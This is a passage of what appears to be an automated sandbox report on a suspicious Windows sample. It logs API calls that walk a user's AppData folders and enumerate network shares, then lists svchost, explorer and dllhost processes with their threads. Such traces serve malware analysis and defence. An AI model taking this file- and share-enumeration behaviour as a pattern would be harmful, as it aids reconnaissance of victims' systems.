wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.951] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.951] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.952] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.952] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.952] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.952] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.952] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.952] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.952] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.952] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.952] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.952] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.953] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.953] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.953] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.953] SendMessageW (hWnd=0x1014e, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 231 os_tid = 0x21c [0122.716] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x3ecfee0 | out: lphEnum=0x3ecfee0*=0x34637c8) returned 0x0 [0123.081] WNetEnumResourceW (in: hEnum=0x34637c8, lpcCount=0x3ecfedc, lpBuffer=0x34d5a18, lpBufferSize=0x3ecfed8 | out: lpcCount=0x3ecfedc, lpBuffer=0x34d5a18, lpBufferSize=0x3ecfed8) returned 0x0 [0123.081] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439498 [0123.081] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34394e0 [0123.081] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x70) returned 0x3437008 [0123.081] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439528 [0123.081] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439570 [0123.081] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x34d5a18, lphEnum=0x3ecfe28 | out: lphEnum=0x3ecfe28*=0x8592e0) returned 0x0 [0123.084] WNetEnumResourceW (in: hEnum=0x8592e0, lpcCount=0x3ecfe24, lpBuffer=0x34daa20, lpBufferSize=0x3ecfe20 | out: lpcCount=0x3ecfe24, lpBuffer=0x34daa20, lpBufferSize=0x3ecfe20) returned 0x103 [0123.084] WNetCloseEnum (hEnum=0x8592e0) returned 0x0 [0123.084] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34394e0 | out: hHeap=0x810000) returned 1 [0123.084] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439498 | out: hHeap=0x810000) returned 1 [0123.084] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439498 [0123.085] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34394e0 [0123.085] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xe0) returned 0x34717b0 [0123.085] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439138 [0123.085] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439600 [0123.085] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439570 | out: hHeap=0x810000) returned 1 [0123.085] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439528 | out: hHeap=0x810000) returned 1 [0123.085] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x810000) returned 1 [0123.085] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439528 [0123.085] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439570 [0123.085] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x34d5a38, lphEnum=0x3ecfe28 | out: lphEnum=0x3ecfe28*=0x3ecfe44) returned 0x4b8 [0135.881] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34394e0 | out: hHeap=0x810000) returned 1 [0135.881] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439498 | out: hHeap=0x810000) returned 1 [0135.881] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3471000 [0135.881] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470ee8 [0135.881] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x150) returned 0x3b06138 [0135.881] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439498 [0135.881] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34394e0 [0135.881] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439210 [0135.881] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3ae48f8 [0135.881] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439600 | out: hHeap=0x810000) returned 1 [0135.881] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439138 | out: hHeap=0x810000) returned 1 [0135.881] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439570 | out: hHeap=0x810000) returned 1 [0135.881] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439528 | out: hHeap=0x810000) returned 1 [0135.881] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34717b0 | out: hHeap=0x810000) returned 1 [0135.881] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3471038 [0135.881] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0135.881] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x34d5a58, lphEnum=0x3ecfe28 | out: lphEnum=0x3ecfe28*=0x3ecfe44) returned 0x4c6 [0135.886] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470ee8 | out: hHeap=0x810000) returned 1 [0135.886] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471000 | out: hHeap=0x810000) returned 1 [0135.886] WNetEnumResourceW (in: hEnum=0x34637c8, lpcCount=0x3ecfedc, lpBuffer=0x34d5a18, lpBufferSize=0x3ecfed8 | out: lpcCount=0x3ecfedc, lpBuffer=0x34d5a18, lpBufferSize=0x3ecfed8) returned 0x103 [0135.886] WNetCloseEnum (hEnum=0x34637c8) returned 0x0 [0135.886] SendMessageW (hWnd=0x1014e, Msg=0x8004, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 232 os_tid = 0x668 Thread: id = 234 os_tid = 0x274 Process: id = "11" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x75a3000" os_pid = "0x3fc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "10" os_parent_pid = "0x1d4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dd4f" [0xc000000f], "LOCAL" [0x7] Thread: id = 145 os_tid = 0x7a8 Thread: id = 146 os_tid = 0x78c Thread: id = 147 os_tid = 0x784 Thread: id = 148 os_tid = 0x604 Thread: id = 149 os_tid = 0x15c Thread: id = 150 os_tid = 0x158 Thread: id = 151 os_tid = 0x12c Thread: id = 152 os_tid = 0x124 Thread: id = 153 os_tid = 0x128 Thread: id = 154 os_tid = 0xc8 Thread: id = 189 os_tid = 0x7ac Thread: id = 190 os_tid = 0x7b8 Thread: id = 191 os_tid = 0x7c0 Thread: id = 192 os_tid = 0x7e4 Thread: id = 193 os_tid = 0x7fc Thread: id = 194 os_tid = 0x404 Thread: id = 233 os_tid = 0x684 Thread: id = 235 os_tid = 0x6b8 Process: id = "12" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x3e6a000" os_pid = "0x378" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x30c" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e418" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 155 os_tid = 0x704 Thread: id = 156 os_tid = 0x6c0 Thread: id = 157 os_tid = 0x698 Thread: id = 158 os_tid = 0x694 Thread: id = 159 os_tid = 0x68c Thread: id = 160 os_tid = 0x680 Thread: id = 161 os_tid = 0x678 Thread: id = 162 os_tid = 0x66c Thread: id = 163 os_tid = 0x65c Thread: id = 164 os_tid = 0x660 Thread: id = 165 os_tid = 0x644 Thread: id = 166 os_tid = 0x62c Thread: id = 167 os_tid = 0x61c Thread: id = 168 os_tid = 0x5f8 Thread: id = 169 os_tid = 0x5a0 Thread: id = 170 os_tid = 0x594 Thread: id = 171 os_tid = 0x560 Thread: id = 172 os_tid = 0x55c Thread: id = 173 os_tid = 0x558 Thread: id = 174 os_tid = 0x554 Thread: id = 175 os_tid = 0x544 Thread: id = 176 os_tid = 0x49c Thread: id = 177 os_tid = 0x498 Thread: id = 178 os_tid = 0x494 Thread: id = 179 os_tid = 0x470 Thread: id = 180 os_tid = 0x13c Thread: id = 181 os_tid = 0x268 Thread: id = 182 os_tid = 0x174 Thread: id = 183 os_tid = 0x144 Thread: id = 184 os_tid = 0x150 Thread: id = 185 os_tid = 0x154 Thread: id = 186 os_tid = 0x3d4 Thread: id = 187 os_tid = 0x3a4 Thread: id = 188 os_tid = 0x3a0 Thread: id = 195 os_tid = 0x548 Thread: id = 221 os_tid = 0x574 Thread: id = 236 os_tid = 0x6b0 Thread: id = 239 os_tid = 0x624 Thread: id = 240 os_tid = 0x5b8 Thread: id = 241 os_tid = 0x728 Process: id = "13" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7b546000" os_pid = "0x4e8" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x1d4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00011d6e" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 196 os_tid = 0x444 Thread: id = 197 os_tid = 0x7c8 Thread: id = 198 os_tid = 0x7c4 Thread: id = 199 os_tid = 0x790 Thread: id = 200 os_tid = 0x6a4 Thread: id = 201 os_tid = 0x690 Thread: id = 202 os_tid = 0x63c Thread: id = 203 os_tid = 0x630 Thread: id = 204 os_tid = 0x5e0 Thread: id = 205 os_tid = 0x5d4 Thread: id = 206 os_tid = 0x5d0 Thread: id = 207 os_tid = 0x5cc Thread: id = 208 os_tid = 0x580 Thread: id = 209 os_tid = 0x528 Thread: id = 210 os_tid = 0x51c Thread: id = 211 os_tid = 0x518 Thread: id = 212 os_tid = 0x510 Thread: id = 213 os_tid = 0x504 Thread: id = 214 os_tid = 0x500 Thread: id = 215 os_tid = 0x4f8 Thread: id = 216 os_tid = 0x4f4 Thread: id = 217 os_tid = 0x4f0 Thread: id = 218 os_tid = 0x4ec Thread: id = 237 os_tid = 0x660 Thread: id = 238 os_tid = 0x7cc Process: id = "14" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x6d7c4000" os_pid = "0x5ac" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x254" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e418" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 222 os_tid = 0x130 Thread: id = 223 os_tid = 0x1e0 Thread: id = 224 os_tid = 0x5f0 Thread: id = 225 os_tid = 0x53c Thread: id = 226 os_tid = 0x54c Thread: id = 227 os_tid = 0x218 Thread: id = 228 os_tid = 0x578